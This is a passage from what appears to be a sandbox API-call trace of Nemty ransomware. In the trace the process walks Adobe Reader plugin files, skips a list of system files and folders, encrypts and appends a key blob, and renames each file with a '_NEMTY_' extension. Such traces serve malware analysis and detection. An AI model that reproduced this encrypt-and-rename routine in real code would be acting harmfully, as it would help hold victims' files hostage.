pszString="AvRnZWiJgvFWCpQjUqFKJA7xgDXwZNgfUnOS/4R4nuPmOvEvetLX5IMLO6gt2KM2\r\nmIDYAYPOlZ368VU9xzncZeKkqbkcy4CDeAdjWvdQ06wcFm3i9DhC0pnWcGHvlw9l\r\nqzemkl7EoohK5fkGp15SSApBBRNz0EYhcHtndlpGUcv/+zrk7wDXafPyN7vFqmfI\r\nQ175+Capp6Em4M4eSjWMV7ZHngSk87OQaVJqDZIoQvLc7VY1iClCKxTpsaq8pmEM\r\nRR4KwWt+VBE+QI7mhcZ+bB6UclOvn/yXXXUtJ77D14qZVRyPo888LPLOkXd0iGGK\r\n0qERPwsa/kAmlNIpWS1UlQ==\r\n", pcchString=0x653e29c) returned 1 [0190.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.974] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0190.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0190.974] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.974] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0190.976] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.976] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0190.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.976] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0190.977] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.977] CloseHandle (hObject=0x2f0) returned 1 [0190.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.977] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat._nemty_kgobjgd_")) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.978] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.978] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="..") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="...") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="windows") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="$RECYCLE.BIN") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="rsa") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="NTDETECT.COM") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="ntldr") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="MSDOS.SYS") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="IO.SYS") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="boot.ini") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="boot.ini") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="ntuser.dat") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="desktop.ini") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="CONFIG.SYS") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="RECYCLER") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="BOOTSECT.BAK") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="bootmgr") returned 1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="programdata") returned -1 [0190.978] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="appdata") returned 1 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHS", lpUsedDefaultChar=0x0) returned 10 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHS", lpUsedDefaultChar=0x0) returned 10 [0190.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHS", lpUsedDefaultChar=0x0) returned 10 [0190.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHS", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHS", lpUsedDefaultChar=0x0) returned 10 [0190.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.979] Sleep (dwMilliseconds=0x5) [0190.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257c26d0, dwHighDateTime=0x1d561e8)) [0190.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257c26d0, dwHighDateTime=0x1d561e8)) [0190.989] GetLastError () returned 0x0 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.989] GetLastError () returned 0x0 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.989] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.989] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.989] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.989] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="5LVwruZM9EFZGXXBTec8UsMrKxetKerkQ+XYDVJ/KFoetBjNgxBVz3ax4R91FiAq\r\n/qAkxTVf/3RElJmAUt2RiyJpoSZznXXWvfOOQgGQEbHzFdHQp50+XBk953GASfnZ\r\nGxIAiWEtAefQRPgicyRhzJr67/fOr1CUA1FnkyXf3UUicmr1jtbOObhN14Jh2TFt\r\n5D/E11EjaBV5DEeYDIESAjw28D6DSKfrlYhSDAwC6ay6h627JPdx4CSIX9sSqFtq\r\ns6F+Zrv7mzerd+DEwvrsQiNd91s7Uiwc+i7itiEtFQGRqWc0uaqowUyNUVQI3GN0\r\nk4yf/dEQJUFa2F9W0sV6xQ==\r\n", pcchString=0x653e29c) returned 1 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.990] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=6656) returned 1 [0190.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0190.990] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.990] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1a00, lpOverlapped=0x0) returned 1 [0190.992] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.992] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1a00, lpOverlapped=0x0) returned 1 [0190.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0190.993] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0190.993] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.993] CloseHandle (hObject=0x2f0) returned 1 [0190.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.993] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.chs._nemty_kgobjgd_")) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.994] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.994] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.CHT", cAlternateFileName="")) returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2=".") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="..") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="...") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="windows") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="$RECYCLE.BIN") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="rsa") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="NTDETECT.COM") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="ntldr") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="MSDOS.SYS") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="IO.SYS") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="boot.ini") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="boot.ini") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="ntuser.dat") returned -1 [0190.994] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="desktop.ini") returned 1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="CONFIG.SYS") returned 1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="RECYCLER") returned -1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="BOOTSECT.BAK") returned 1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="bootmgr") returned 1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="programdata") returned -1 [0190.995] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2="appdata") returned 1 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHT", lpUsedDefaultChar=0x0) returned 10 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHT", lpUsedDefaultChar=0x0) returned 10 [0190.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHT", lpUsedDefaultChar=0x0) returned 10 [0190.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.CHT", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.CHT", lpUsedDefaultChar=0x0) returned 10 [0190.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.995] Sleep (dwMilliseconds=0x5) [0191.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257e8830, dwHighDateTime=0x1d561e8)) [0191.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257e8830, dwHighDateTime=0x1d561e8)) [0191.004] 